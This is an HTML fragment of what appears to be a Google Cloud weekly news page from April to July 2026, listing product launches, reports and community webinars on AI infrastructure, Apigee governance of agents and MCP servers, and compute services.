&lt;li&gt;&lt;strong&gt;Report: 83% of organizations need infrastructure upgrades for agentic AI&lt;br/&gt;&lt;/strong&gt;The shift from conversational bots to autonomous agents is breaking legacy systems. Our new &lt;em&gt;State of AI Infrastructure&lt;/em&gt; report details how engineering leaders are adapting to these massive new workloads. To eliminate inference bottlenecks, control hidden scaling costs, and manage agent sprawl, the industry is rapidly moving toward fluid compute, centralized governance, and unified, co-designed architectures.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="46" href="https://cloud.google.com/blog/products/compute/state-of-ai-infrastructure-report-overview?e=48754805" rel="noreferrer noopener" target="_blank"&gt;Explore our key infrastructure insights&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stop tinkering, start scaling: the industrialized AI Playbook&lt;br/&gt;&lt;/strong&gt;Did you know that only 5% of custom AI investments actually return measurable business value? The problem isn’t the technology—it’s how organizations are wired to run it.&lt;br/&gt;&lt;br/&gt;In this compelling read, Google Cloud Consulting breaks down the operational blueprint that bridges the stark gap between "cool tech experiments" and real, P&amp;amp;L-impacting enterprise ROI.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="50" href="https://www.google.com/url?q=https%3A%2F%2Fmedium.com%2F%40kjouannigot_73547%2Fscaling-trusted-ai-google-cloud-insights-to-capture-enterprise-roi-aa6c9b308adb" rel="noreferrer noopener" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;" target="_blank"&gt;Read the full article on Medium&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI Agent Clinic: Slashing App Latency by 80%&lt;br/&gt;&lt;/strong&gt;Prototyping an AI agent is easy, but scaling for live traffic presents unique challenges. In the latest AI Agent Clinic, our technical experts partner with a developer to optimize PlaybackIQ, a live football analysis agent. This session demonstrates how to use OpenTelemetry to trace bottlenecks in the Gemini Enterprise Agent Platform and deploy to Cloud Run for high-concurrency scaling, achieving an 80% reduction in response time. Learn production-grade debugging strategies to optimize your own LLM applications.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="54" href="https://www.google.com/search?q=https://youtu.be/G7olcqETSn8" rel="noreferrer noopener" target="_blank"&gt;Watch the 60-minute teardown&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Jun 29 - Jul 3&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Claude Sonnet 5, Anthropic’s latest model, is now available on Agent Platform&lt;/strong&gt;. &lt;br/&gt;This addition serves as a drop-in replacement for Sonnet 4.6, giving organizations expanded choice for task completion across enterprise workflows. It features enhanced reasoning, cleaner code generation, and computer use capabilities for desktop and browser workflows.&lt;br/&gt;&lt;br/&gt;By continuing to rapidly bring frontier models to our platform, Google Cloud offers an uncompromised choice of the industry's best technology to build, test, and scale enterprise-grade AI.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/agent-platform/publishers/anthropic/model-garden/claude-sonnet-5?hl=en" rel="noreferrer noopener" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;" target="_blank"&gt;&lt;em&gt;Get started today.&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Automate your AI governance with Apigee and YAML&lt;br/&gt;&lt;/strong&gt;&lt;span style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;Manual API gateway configurations can quickly slow down your AI engineering velocity. Join the Apigee community on Thursday, July 16, to discover an automated, declarative blueprint for model garden management. Learn how a simple, repeatable YAML pattern lets your AI practitioners instantly spin up secure, policy-backed enterprise configurations  without friction. Bring your questions and connect during our live Q&amp;amp;A session. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Register for the July 16 Community TechTalk&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Build next-generation AI portals for autonomous agents&lt;br/&gt;&lt;/strong&gt;&lt;span style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;Standard developer portals were designed for human developers to subscribe to static APIs. Today, autonomous agents, LLM toolkits, and dynamic runtimes demand a central nervous system for governance. Join our technical deep dive on Thursday, July 23, to explore Apigee's new AI Portals solution. You will see exactly how to deploy full-service, MCP powered hubs to safely manage enterprise self-service for models, tools, and agents. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Register for the July 23 Community TechTalk&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protect your infrastructure from advanced cyberattacks at the API layer (Presented in Portuguese)&lt;br/&gt;&lt;/strong&gt;In an era of increasingly sophisticated threats, relying solely on traditional firewalls leaves critical data gaps. Join our technical community TechTalk on Thursday, July 30—conducted in Portuguese—to learn how to proactively mitigate risks directly at the gateway layer. This session demonstrates how to configure and govern essential Apigee security policies to build a robust line of defense, ensuring maximum availability and complete integrity for your enterprise microservices. &lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;" target="_blank"&gt;&lt;strong&gt;Register for the July 30 Portuguese Community TechTalk&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Jun 22 - Jun 26&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Accelerate TPU model loading while saving RAM on GKE.&lt;br/&gt;&lt;/strong&gt;Large model cold starts often stall scaling and leave high-value TPUs idle. The open-source &lt;strong&gt;Run:ai Model Streamer&lt;/strong&gt; now natively supports TPUs with Google Cloud Storage in&lt;strong&gt; &lt;/strong&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://github.com/vllm-project/tpu-inference" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;TPU vLLM 0.18.0&lt;/strong&gt;.&lt;/a&gt; This integration accelerates inference pipelines on GKE by streaming tensors directly into CPU memory, bypassing local disk bottlenecks and the "double-buffering" trap. In benchmarks, loading a 480B parameter model was &lt;strong&gt;over 2x faster&lt;/strong&gt; while cutting peak host memory usage by half. &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/accelerate-tpu-model-loading-while-saving-ram-on-gke/374835" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Read the full guide and get started today&lt;/strong&gt;&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stop Training Blind: Scaling AI with the New OpenTelemetry-Based TPU AI Telemetry Collector Agent&lt;br/&gt;&lt;/strong&gt;Google Cloud’s new AI Telemetry Collector agent standardizes TPU monitoring using OpenTelemetry. It optimizes enterprise ML workloads by identifying silent failures and providing zero-cost operational metrics without draining host CPU cycles. The agent seamlessly routes telemetry to Google Cloud Monitoring or Prometheus and custom Grafana setups. Pre-installed on Google-optimized Ubuntu images or available via Docker, it tracks memory, network latency, and core utilization to maximize multi-node training efficiency.&lt;br/&gt;&lt;br/&gt;You can read more of this capability by clicking this &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/stop-training-blind-scaling-ai-with-the-new-opentelemetry-based-tpu-ai-telemetry-collector-agent/375210" rel="noreferrer noopener" target="_blank"&gt;link&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Jun 15 - Jun 19&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Join us for a deep dive into agentic AI control with AppyThings&lt;br/&gt;&lt;/strong&gt;Your integrations aren’t failing—they are evolving. When users interact with AI agents, they no longer arrive directly at your site, resulting in experiences stripped of your context, expertise, and intended experience. Join us on Thursday, June 25, for a community tech talk in partnership with AppyThings to learn how to solve this new gateway challenge. We will explore how MTN laid an integration foundation with the Model Context Protocol (MCP) to deliver accurate, consistent experiences. Our technical experts will demonstrate how to leverage Apigee as a centralized tools management solution to govern agent access. &lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/3Sfle0y" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Register for the session&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Optimize Spot VM Deployments with Capacity Advisor for Spot, Now in Public Preview&lt;br/&gt;&lt;/strong&gt;Google Compute Engine has launched &lt;strong&gt;Capacity Advisor for Spot&lt;/strong&gt; to Public Preview, now open to all customers. This tool turns Spot capacity discovery into a data-driven process by providing real-time deployment recommendations to maximize obtainability and minimize preemption risks. Query the &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Capacity Advisor API&lt;/strong&gt;&lt;/a&gt; for obtainability and minimum estimated uptimes, or use the new &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/compute/capacityAdvisor" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Console UI&lt;/strong&gt;&lt;/a&gt; featuring a global availability map, spot price lookups, and historical preemption rate trends to visually find the most cost-efficient compute capacity.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank"&gt;Get started today&lt;/a&gt; to start optimizing your Spot VM deployments!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Build a multi-tenant agentic AI system&lt;br/&gt;&lt;/strong&gt;When scaling generative AI across different business units, your teams need specialized AI agents with unique operational rules and tools. Our new reference architecture helps you build a centralized multi-tenant platform to prevent fragmented silos, eliminate data exposure risks, and maintain unified compliance. Read the guide to &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/architecture/multi-tenant-agentic-ai-system" rel="noreferrer noopener" target="_blank"&gt;design and deploy a multi-tenant agentic AI system&lt;/a&gt; in Google Cloud.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;How to Configure Gemini Enterprise to Connect to a Custom MCP Server&lt;br/&gt;&lt;/strong&gt;The Gemini Enterprise MCP Connector was a big announcement at Google Cloud Next because it introduces the ability to connect Gemini Enterprise to MCP servers. This blog &lt;a href="https://medium.com/google-cloud/how-to-configure-gemini-enterprise-to-connect-to-a-custom-mcp-server-2e28adc96420" rel="noopener" target="_blank"&gt;post&lt;/a&gt; provides a step-by-step guide on how to configure your first Custom MCP Server connector using the Google Maps Ground Lite MCP server as an example. Once you understand this flow, you can configure multiple MCP servers with Gemini Enterprise to bring all the context you need.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Jun 8 - Jun 12&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Simplify Multi-Cloud Planning with Cloud Location Finder, now Generally Available&lt;/strong&gt; &lt;br/&gt;Cloud Location Finder provides up-to-date data on public regions, zones, and Google Distributed Cloud Connected locations across Google Cloud, AWS, Azure, and OCI. You can now programmatically discover locations based on provider, proximity, territory, and carbon footprint to optimize your global infrastructure strategy for performance, compliance, and sustainability. &lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="14" href="https://cloud.google.com/location-finder/docs" rel="noreferrer noopener" target="_blank"&gt;Get started for free today&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Jun 1 - Jun 5&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Modeling the physical world with BigQuery Graph&lt;/strong&gt;&lt;br/&gt;Managing complex supply chains requires more than just spreadsheets; it requires a digital replica of the physical world. In this &lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://cloud.google.com/blog/products/data-analytics/modeling-a-digital-twin-using-bigquery-graph" rel="noreferrer noopener" target="_blank"&gt;post&lt;/a&gt;, Guru Rangavittal and Candice Chen explore how BigQuery Graph enables organizations to build a digital twin by turning physical assets into an interconnected map of nodes and edges. By moving beyond traditional relational databases, businesses gain real-time clarity into operations—from executing surgical ingredient recalls to analyzing weather-driven logistics risks. Discover how BigQuery Graph transforms reactive firefighting into proactive, precision modeling, allowing you to see critical connections in seconds and future-proof your supply chain.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Apigee for AI: Govern LLMs and MCP Servers (Presented in Spanish)&lt;br/&gt;&lt;/strong&gt;Learn how to securely transition your AI initiatives from experimental prototypes to enterprise-ready deployments. Join Luis Cuellar on June 18 for a technical deep dive (presented in Spanish) exploring Apigee’s latest AI gateway capabilities. Discover how to centralize governance over Model Context Protocol (MCP) servers, protect Large Language Models (LLMs) with robust API gateway security policies, and manage token-based quotas.&lt;br/&gt;&lt;br/&gt;&lt;a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4dyC2Ie" rel="noreferrer noopener" target="_blank"&gt;&lt;strong&gt;Register for the June 18 Spanish Community TechTalk&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;May 25 - May 29&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.anthropic.com/news/claude-opus-4-8" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Anthropic’s Claude Opus 4.8&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; is now available on &lt;/span&gt;&lt;a href="https://console.cloud.google.com/vertex-ai/publishers/anthropic/model-garden/claude-opus-4-8"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini Enterprise Agent Platform&lt;/span&gt;&lt;/a&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;strong&gt;. &lt;/strong&gt;&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;As we continue to expand our platform's model offerings, this addition gives organizations more options for handling complex, multi-stage enterprise workflows. Claude Opus 4.8 brings strong capabilities in agentic coding, allowing developers to manage extensive refactors and tracking dependencies over extended sessions.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API Horizon Munich July 6, 2026: Orchestrating the Next Era of AI and APIs &lt;br/&gt;&lt;/strong&gt;Master the orchestration of next-gen AI and digital ecosystems. Join Google Cloud experts and DACH tech leaders on July 6 for an exclusive look at the Apigee roadmap, Agent Management, and Model Context Protocol (MCP). Gain real-world insights and connect with the regional integration community.&lt;strong&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="https://goo.gle/4dTxQmo" rel="noopener" target="_blank"&gt;Register now&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Securing AI Agents: The Extended Agent Gateway Pattern&lt;br/&gt;&lt;/strong&gt;Learn how to prevent autonomous AI agents from invoking unauthorized APIs. Join Apigee Specialist Joel Gauci on June 4 for a technical deep dive into the Extended Agent Gateway pattern. This session covers enforcing Fine-Grained Authorization (FGA), implementing secure token exchange, and establishing Model Context Protocol (MCP) governance at the API gateway layer to protect enterprise backend services.&lt;br/&gt;&lt;br/&gt;&lt;a href="https://goo.gle/4fbAsxg" rel="noopener" target="_blank"&gt;&lt;strong&gt;Register for the June 4 Community TechTalk&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API-to-Agent Security: Exposing REST APIs to Gemini Enterprise via MCP&lt;br/&gt;&lt;/strong&gt;Connect Gemini Enterprise agents to core data without creating security hazards. Join Google Cloud Specialist Nigel Walters on June 11 to learn how to instantly transform legacy REST APIs into secure Model Context Protocol (MCP) servers. We’ll cover how to safely register tools with Gemini while enforcing gateway-level guardrails like rate limiting and access control policies.&lt;br/&gt;&lt;br/&gt;&lt;a href="https://goo.gle/4nVyjIr" rel="noopener" target="_blank"&gt;&lt;strong&gt;Register for the June 11 Community TechTalk&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;May 18 - May 22&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Chinese Webinar | June 4: AI Command and Control&lt;br/&gt;&lt;/strong&gt;As AI agents move from experimental pilots to core enterprise functions, governance has become a critical next step. Join Google Cloud on June 4th at 10:00 AM (Beijing Time) to learn how to build a secure AI management layer architecture. We'll explore how to develop governed MCP (Model Context Protocol) endpoints, manage tool access to enterprise data, and leverage robust audit logs to operationalize AI. This session also includes a practical demonstration of these governance frameworks on Google Cloud.&lt;br/&gt;&lt;br/&gt;&lt;a href="https://goo.gle/4dx4Lf5" rel="noopener" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;" target="_blank"&gt;Register here&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GCP Announces New Features to Benchmark and Optimize LLMs for On-Device Use Cases&lt;br/&gt;&lt;/strong&gt;Deploying fine-tuned LLMs from GCP to edge devices like smartphones is complex due to fragmented hardware. Google AI Edge Portal bridges this gap, giving GCP developers the ability to test AI performance on 120+ Android devices, representing the full diversity of high, medium, and low tier smartphones on the market today. This week at I/O, we announced brand new &lt;a href="https://cloud.google.com/blog/products/ai-machine-learning/benchmark-llms-on-device-with-ai-edge-portal" rel="noopener" target="_blank"&gt;capabilities&lt;/a&gt; to benchmark and debug LLM performance across these devices. &lt;a href="https://docs.google.com/forms/d/e/1FAIpQLSfTcGPycQve8TLAsfH46pBlXBZe9FrgJAClwbF7DeL1LgVn4Q/viewform" rel="noopener" target="_blank"&gt;Sign-up&lt;/a&gt; to utilize these new features in private preview today.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;May 11 - May 15&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Build Your AI &amp;amp; MCP Control Tower for Universal Governance&lt;br/&gt;&lt;/strong&gt;Master the future of agentic security with Apigee. Join our Community TechTalk on May 21 to discover how Apigee serves as a central "Control Tower" for the Model Context Protocol (MCP). We will explore how new JSON-RPC tool authorization enables fine-grained access policies across your organization, ensuring secure and scalable AI deployments. Whether managing internal tools or external users, learn to govern your agentic ecosystem with absolute precision. This session is designed for global coverage across EMEA and AMER regions.&lt;br/&gt;&lt;br/&gt;&lt;a href="https://goo.gle/4u9slWF" rel="noopener" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;" target="_blank"&gt;Register for the May 21 Community TechTalk&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Apr 27 - May 1&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Master Your Launch: The Apigee Production Go-Live Checklist&lt;br/&gt;&lt;/strong&gt;Ensure a secure launch with the Apigee production guide. Join Nicola Cardace on May 28 to explore security guardrails, including IAM roles, mTLS configurations, and encrypted KVM migrations. Scheduled at 11 AM EDT / 5 PM CEST to support EMEA and AMER teams, this TechTalk provides the technical roadmap you need to flip the switch with absolute confidence.&lt;br/&gt;&lt;br/&gt;&lt;strong style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;&lt;a href="https://goo.gle/4elMCTI" rel="noopener" target="_blank"&gt;Register for the May 28 Community TechTalk&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Transforming APIs into Governed Agentic Tools on the Google Cloud Agentic Platform&lt;br/&gt;&lt;/strong&gt;&lt;span style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;Turn your APIs into secure, governed agentic tools on the Google Cloud Agentic Platform. Join Specialist Christophe Lalevée on May 7 for a technical deep dive into AI productization. Scheduled at 5 PM CEST / 11 AM EDT to maximize coverage for developers across EMEA and AMER, this session explores the integration and governance frameworks required to scale enterprise-ready AI with confidence.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://goo.gle/3PfWm7M" rel="noopener" target="_blank"&gt;Register for the May 7 Community TechTalk&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.cloud.google.com/compute/docs/accelerator-optimized-machines#g4-machine-types" rel="noopener" target="_blank"&gt;Fractional G4 VMs&lt;/a&gt; are Generaly Available, providing a highly efficient and cost-effective entry point for AI and graphics workloads. These new configurations, using NVIDIA virtual GPU (vGPU) technology, allow you to leverage the power of the NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs in flexible, smaller increments, so you can right-size your infrastructure to match the specific demands of your applications. By providing more granular access to advanced hardware, fractional G4 VMs let you optimize resource allocation and reduce overhead without sacrificing performance. You can now select from additional GPU slice sizes for your specific needs:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1/2 GPU:&lt;/strong&gt; Ideal for more intensive tasks such as LLM inference, robotics sensor simulation, and high-fidelity 3D rendering.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1/4 GPU:&lt;/strong&gt; Optimized for mainstream workloads, including mid-range creative design, video transcoding, and real-time data visualization.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1/8 GPU:&lt;/strong&gt; Great for lightweight applications such as remote desktops, productivity tools, and entry-level streaming services.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Transitioning AI from a sandbox prototype to an enterprise-grade system is a major hurdle. A monolithic script won't suffice for widespread deployment. To achieve true scale and reliability with Gemini, organizations must adopt service-oriented micro-agent architectures, establish Zero-Trust security, and implement rigorous EvalOps. Master the "Agentic Maturity Ladder" to ensure your AI &amp;amp; Agentic solutions are robust, secure, and ready for the real world.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://lnkd.in/gHBH8cTv" rel="noopener" target="_blank"&gt;Watch the deep dive&lt;/a&gt; and &lt;a href="https://discuss.google.dev/t/beyond-the-prototype-scaling-production-grade-agents-with-gemini/356140" rel="noopener" target="_blank"&gt;read the developer blog&lt;/a&gt; to learn more.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ML Development in VS Code with Google Cloud Power: Workbench Extension Now Available&lt;br/&gt;&lt;/strong&gt;Data scientists and developers can now combine the local productivity of VS Code with the scalable infrastructure of Google Cloud. The new Google Cloud Workbench Notebooks extension allows you to connect to and run notebooks on managed cloud environments directly within your local IDE. This integration streamlines the ML lifecycle by eliminating context switching and providing high-performance compute for complex workloads in a familiar interface. As part of our commitment to the developer ecosystem, the extension is fully open-sourced to support community-driven innovation.
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Install from Marketplace:&lt;/strong&gt; &lt;a href="https://marketplace.visualstudio.com/items?itemName=GoogleCloudTools.workbench-notebooks" rel="noopener" target="_blank"&gt;GoogleCloudTools.workbench-notebooks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Contribute on GitHub:&lt;/strong&gt; &lt;a href="https://github.com/GoogleCloudPlatform/colab-enterprise-vscode" rel="noopener" target="_blank"&gt;colab-enterprise-vscode&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Apr 20 - Apr 24&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Announcing the 2026 Google Cloud Partners of the Year&lt;br/&gt;&lt;/strong&gt;Google Cloud is honored to celebrate the winners of the 2026 Partner of the Year awards! These awards recognize an exceptional group of partners across AI, Security, Infrastructure, and more, who have demonstrated a commitment to customer success. From global system integrators to specialized startups, these winners are leveraging the power of Google Cloud to solve complex challenges and drive digital transformation worldwide. Join us in congratulating these organizations for their innovation, collaboration, and impactful results over the past year.&lt;br/&gt;&lt;br/&gt;See the &lt;a href="https://cloud.google.com/blog/topics/partners/2026-partners-of-the-year-winners-next26"&gt;2026 Partner Award winners&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'&gt;Apr 13 - Apr 17&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;We're excited to announce the &lt;strong&gt;Public Preview of Datastream’s metadata integration with Knowledge Catalog&lt;/strong&gt;. This is the first step in our vision to provide a centralized, "single pane of glass" for all Datastream assets. The enhancement automatically synchronizes Streams, Connection Profiles, and Private Connections, eliminating data silos. It enhances discoverability, allowing you to search for Datastream assets using the same interface as BigQuery tables. Centralized governance is also provided, making your real-time data estate more transparent and easier to manage.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Upgrading Apigee OPDK to 4.53 with OS Modernization&lt;br/&gt;&lt;/strong&gt;Modernize your infrastructure using Google’s official, sequential upgrade path. Our Technical expert, Rakesh Talanki outlines how to upgrade Apigee OPDK to v4.53 while migrating to a supported OS (RHEL 8.x/9.x). This guide covers the "build-out" methodology, including multi-data center syncing, to ensure a stable, zero-downtime transition&lt;br/&gt;&lt;br/&gt;&lt;a href="https://goo.gle/3Oa8uqy" rel="noopener" target="_blank"&gt;Read the guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloud Run Worker Pools and CREMA: Powering Serverless AI at Scale&lt;br/&gt;&lt;/strong&gt;Google Cloud has announced the General Availability of &lt;strong&gt;Cloud Run worker pools&lt;/strong&gt;, a new resource type designed specifically for pull-based, non-HTTP workloads. Unlike traditional Cloud Run services that scale based on request traffic, worker pools provide an "always-on" environment for background tasks like processing message queues or running large-scale AI inference. To support this, Google Cloud also open-sourced the &lt;strong&gt;Cloud Run External Metrics Autoscaler (CREMA)&lt;/strong&gt;. Built on KEDA, CREMA enables queue-aware autoscaling for worker pools, allowing them to dynamically scale based on external signals like Pub/Sub backlog or Kafka lag.&lt;/li&gt;
